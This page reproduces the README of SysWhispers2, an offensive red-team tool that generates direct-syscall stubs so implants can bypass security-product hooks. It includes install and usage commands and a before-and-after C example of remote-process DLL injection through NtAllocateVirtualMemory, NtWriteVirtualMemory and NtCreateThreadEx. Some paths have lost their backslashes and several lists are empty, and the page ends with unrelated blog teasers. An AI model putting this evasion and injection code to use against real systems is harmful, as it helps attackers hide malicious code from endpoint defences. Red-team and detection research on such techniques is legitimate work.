SysWhispers helps with evasion by generating header/ASM files implants can use to make direct system calls.
All core syscalls are supported and example generated files available in the example-output/
folder.
Difference Between SysWhispers 1 and 2
The usage is almost identical to SysWhispers1 but you don’t have to specify which versions of Windows to support. Most of the changes are under the hood. It no longer relies on @j00ru‘s syscall tables, and instead uses the “sorting by system call address” technique popularized by @modexpblog. This significantly reduces the size of the syscall stubs.
The specific implementation in SysWhispers2 is a variation of @modexpblog’s code. One difference is that the function name hashes are randomized on each generation. @ElephantSe4l, who had published this technique earlier, has another implementation based in C++17 which is also worth checking out.
The original SysWhispers repository is still up but may be deprecated in the future.
Introduction
Various security products place hooks in user-mode API functions which allow them to redirect execution flow to their engines and detect for suspicious behaviour. The functions in ntdll.dll
that make the syscalls consist of just a few assembly instructions, so re-implementing them in your own implant can bypass the triggering of those security product hooks. This technique was popularized by @Cn33liz and his blog post has more technical details worth reading.
SysWhispers provides red teamers the ability to generate header/ASM pairs for any system call in the core kernel image (ntoskrnl.exe
). The headers will also include the necessary type definitions.
Installation
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .syswhispers.py --help
Usage and Examples
Command Lines
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .syswhispers.py --preset all -o syscalls_all
# Export just the common functions (see below for list).
py .syswhispers.py --preset common -o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
Script Output
PS C:ProjectsSysWhispers2> py .syswhispers.py --preset common --out-file syscalls_common
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
Common functions selected.
Complete! Files written to:
syscalls_common.h
syscalls_common.c
syscalls_common_stubs.asm
Before-and-After Example of Classic CreateRemoteThread
DLL Injection
py .syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Common Functions
Using the --preset common
switch will create a header/ASM pair with the following functions:
Importing into Visual Studio
Caveats and Limitations
win32k.sys
) are not supported.Troubleshooting
syscalls.h
have already been defined.
--preset all
is rarely necessary).syscalls.h
.Credits
Developed by @Jackson_T and @modexpblog, but builds upon the work of many others:
Related Articles and Projects
References to SysWhispers
Write a AI detection pass, persuasive, cickable, catchy, well structured and seo optimized article with… Read More
AI Will Make Human Art More Valuable AI models are increasing in popularity and value… Read More
UK Set to Announce Ban on TikTok on Government Smartphones: Report Following in the footsteps… Read More
How ChatGPT and Generative AI Could Change the Way We Travel The travel industry is… Read More
The curious case of Pluto! Is it a dwarf planet, comet or an asteroid? This… Read More
A Spy Wants to Connect with You on LinkedIn: How to Spot and Avoid Fake… Read More
Leave a Comment